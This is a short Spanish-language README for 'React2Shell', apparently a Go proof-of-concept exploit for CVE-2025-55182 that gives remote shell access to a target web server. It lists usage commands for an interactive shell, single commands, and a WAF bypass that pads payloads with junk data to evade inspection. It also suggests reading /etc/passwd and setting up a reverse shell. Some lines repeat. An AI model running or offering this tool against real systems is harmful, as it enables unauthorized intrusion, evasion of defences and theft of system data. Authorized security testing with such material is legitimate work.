React2Shell

CVE-2025-55182 PoC

Uso

# Shell interactivo
./react2shell -u http://target:3000

# Comando único
./react2shell -u http://target:3000 -c "id"

# Bypass de WAF (128KB de datos basura)
./react2shell -u http://target:3000 -waf 128

Compilación

go build -o react2shell .

Opciones

Flag	Descripción
`-u`	URL objetivo
`-c`	Comando único (opcional)
`-waf`	Tamaño de datos basura para el bypass de WAF en KB (opcional)

Notas

Cada comando se ejecuta en una nueva sesión de shell
Usa ; o && para encadenar comandos: cd /etc && cat passwd
El bypass de WAF añade datos basura antes del payload para evadir la inspección de contenido

Aviso legal

Solo para pruebas de seguridad autorizadas.

Usa ; o && para encadenar comandos: cd /etc && cat passwd
Para una shell persistente, usa una reverse shell

Aviso legal

Solo para pruebas de seguridad autorizadas.

CVE-2025-55182-PoC

Más Populares